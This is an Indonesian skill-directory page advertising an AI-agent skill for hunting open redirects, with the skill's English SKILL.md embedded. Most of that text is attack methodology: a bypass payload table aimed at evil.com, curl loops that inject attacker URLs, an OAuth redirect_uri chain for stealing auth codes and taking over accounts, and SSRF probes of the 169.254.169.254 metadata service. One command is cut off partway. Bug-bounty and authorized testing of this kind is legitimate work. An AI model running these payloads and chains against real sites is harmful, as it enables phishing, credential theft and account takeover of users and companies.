Langsung ke konten
Skillpedia
Keamanan5.4k Β· #14926

hunt-open-redirect

Fungsinya

Skill ini menguji parameter redirect yang mengirim pengguna ke situs lain. Ditujukan untuk pengujian resmi pada fitur login, logout, dan redirect.

Kapan dipakai

  • βœ“Saat sebuah URL memiliki parameter seperti next, return, atau redirect.
  • βœ“Saat alur login mengirim pengguna ke alamat redirect yang bisa Anda kendalikan.
  • βœ“Saat redirect OAuth mungkin mengarah ke situs yang tidak dimiliki perusahaan.

Link skill

https://github.com/elementalsouls/Claude-BugHunter/blob/main/skills/hunt-open-redirect/SKILL.md

Salin lalu tempelkan ke AI Anda (Claude, ChatGPT, atau Cursor) dan minta AI mengikuti instruksinya.

Cara pakai

Cara paling mudah: salin pesan ini dan tempelkan ke AI Anda. AI akan membaca skill dan mengikuti instruksinya.

Pesan siap tempel

Gunakan skill ini untuk membantu saya: https://github.com/elementalsouls/Claude-BugHunter/blob/main/skills/hunt-open-redirect/SKILL.md Baca file SKILL.md di link tersebut dan ikuti instruksinya untuk tugas saya.
Mau AI Anda menemukan skill seperti ini sendiri?Pasang MCP Skillpedia gratis: cukup satu baris, dan AI mencari di antara 15.000+ skill sebelum tiap tugas.Pasang dalam 1 menit β†’

Contoh permintaan ke AI

β€œHalaman login kami punya parameter next. Bisakah Anda memeriksa apakah ia bisa mengirim pengguna ke situs luar dalam uji resmi kami?”

5 skill baru setiap minggu. 1 menit baca.

Cara kerjanya

Agent mencoba banyak trik alamat pada parameter redirect dan memeriksa ke mana browser berakhir. Agent melaporkan dampaknya, yang rendah jika berdiri sendiri tetapi lebih tinggi jika dirangkai dengan alur login.

Konten teknis (SKILL.md asli)

Teks asli dari pembuat, dalam bahasa Inggris, langsung dari GitHub.

HUNT-OPEN-REDIRECT β€” Open Redirect

Crown Jewel Targets

Open redirect alone is Low. Chained to OAuth = Critical (ATO).

Highest-value chains:

  • Open redirect β†’ OAuth auth code theft β€” redirect_uri contains open redirect on trusted domain β†’ auth code sent to attacker β†’ ATO
  • Open redirect β†’ phishing β€” users trust the URL because it starts with target.com
  • Open redirect β†’ SSRF escalation β€” if redirect followed server-side β†’ SSRF
  • Open redirect β†’ session fixation β€” force user to login endpoint with pre-set session

Attack Surface Signals

?redirect=
?next=
?url=
?return=
?returnTo=
?continue=
?dest=
?destination=
?go=
?forward=
?location=
?target=
?redir=
?redirect_uri=
?callback=
?checkout_url=
?success_url=
?cancel_url=
/logout?returnTo=
/login?next=
/sso?callback=

Bypass Table

Technique Payload
Basic https://evil.com
Protocol relative //evil.com
Backslash bypass /\\evil.com
At-sign confusion https://target.com@evil.com
Double slash //evil.com/%2F..
URL encoding %2Fevil.com
Null byte evil.com%00target.com
Whitespace evil.com%09 or %20
JavaScript URI javascript:window.location='https://evil.com'
Data URI data:text/html,<script>window.location='https://evil.com'</script>
Subdomain https://target.com.evil.com
Fragment https://evil.com#.target.com

Step-by-Step Hunting Methodology

Phase 1 β€” Discover Redirect Parameters

# Extract all redirect candidates from crawl
cat recon/$TARGET/urls.txt | gf redirect > recon/$TARGET/redirect-candidates.txt
wc -l recon/$TARGET/redirect-candidates.txt

# Less common param names
grep -E "(\?|&)(return|next|dest|go|forward|location|to|jump|target|out|link|logout)" \
  recon/$TARGET/urls.txt >> recon/$TARGET/redirect-candidates.txt

Phase 2 β€” Basic Test

COLLAB="https://evil.com"
cat recon/$TARGET/redirect-candidates.txt | qsreplace "$COLLAB" | while read url; do
  LOC=$(curl -s -I --max-redirs 0 "$url" | grep -i "^location:")
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" --max-redirs 0 "$url")
  [ -n "$LOC" ] && echo "$STATUS | $LOC | $url"
done

Phase 3 β€” Bypass Techniques

BASE_URL="https://$TARGET/redirect?url="
PAYLOADS=(
  "https://evil.com"
  "//evil.com"
  "/\\evil.com"
  "https://$TARGET@evil.com"
  "https://evil.com%23.$TARGET"
  "https://evil.com%09"
)
for P in "${PAYLOADS[@]}"; do
  LOC=$(curl -s -I --max-redirs 0 "${BASE_URL}${P}" | grep -i "^location:")
  echo "$P β†’ $LOC"
done

Phase 3b β€” DOM-based open redirect (client-side sink)

Server-side Location: grepping misses redirects that happen purely in JS. Source (location.hash/location.search/document.referrer) assigned to a navigation sink.

grep -rEn "location *=|location\.(href|assign|replace)\(|window\.open\(" recon/$TARGET/ --include="*.js" \
  | grep -iE "location\.(hash|search)|URLSearchParams|getParameter|referrer"
# Confirm in a browser (curl can't): open  https://$TARGET/page#https://evil.com  (or ?url=...)
# Common shape:  var u=new URLSearchParams(location.search).get('url'); location=u;

(PortSwigger: DOM-based open redirection.)

Phase 4 β€” OAuth Chain Test

# If target has OAuth, check if redirect_uri accepts open redirect
grep -i "oauth\|authorize\|redirect_uri" recon/$TARGET/urls.txt | head -20

# Construct OAuth URL with open redirect as redirect_uri
# Normal: redirect_uri=https://target.com/callback
# Attack: redirect_uri=https://target.com/redirect?url=https://evil.com
OAUTH_URL="https://$TARGET/oauth/authorize"
curl -sv "$OAUTH_URL?response_type=code&client_id=CLIENT_ID&redirect_uri=https://$TARGET/redirect%3Furl%3Dhttps%3A%2F%2Fevil.com" 2>&1 | grep -i "location:"

Phase 5 β€” Server-Side Redirect (SSRF escalation)

# If the app fetches the redirect target server-side (302 fetch follow)
curl -s "https://$TARGET/proxy?url=https://evil.com/redirect-to-169.254.169.254/latest/meta-data/"

# Or: if app makes HTTP request to the redirect destination
curl -s "https://$TARGET/fetch?url=http://169.254.169.254/latest/meta-data/" \
  -H "Cookie: $SESSION"

Automation

# openredirex
pip3 install openredirex
openredirex -l recon/$TARGET/redirect-candidates.txt -p evil.com

# nuclei
nuclei -u https://$TARGET -t redirect/ -severity medium,high

# gf + qsreplace
cat recon/$TARGET/urls.txt | gf redirect | qsreplace "https://
Pertanyaan umum

Apakah open redirect serius jika berdiri sendiri?

Skill ini menilainya rendah jika berdiri sendiri, tetapi bisa serius ketika dirangkai dengan login OAuth.

Apa itu pencurian kode OAuth?

Itu terjadi ketika kode login dikirim ke alamat yang dikendalikan penyerang melalui redirect yang tepercaya.

Trik bypass apa saja yang diuji?

Skill ini menguji variasi seperti garis miring ganda, garis miring terbalik, karakter yang di-encode, dan subdomain yang mirip.

Detail

Deskripsi asli dari pembuat

Hunt Open Redirect β€” all types including low-impact, chained to OAuth token theft β†’ ATO, phishing chains. URL parameter manipulation, JavaScript redirect, meta refresh, header injection. Use when hunting redirect bugs or building ATO chains.

repo: elementalsouls/Claude-BugHunter

Popularitas

Bintang GitHub
5.4k
Peringkat
#14926
Lisensi
MIT
Diperbarui
2/11/2026

Apakah skill ini berguna?

0

Masuk untuk memberi suara.

Komentar

  • …

Skill lain dari repositori ini

Skill serupa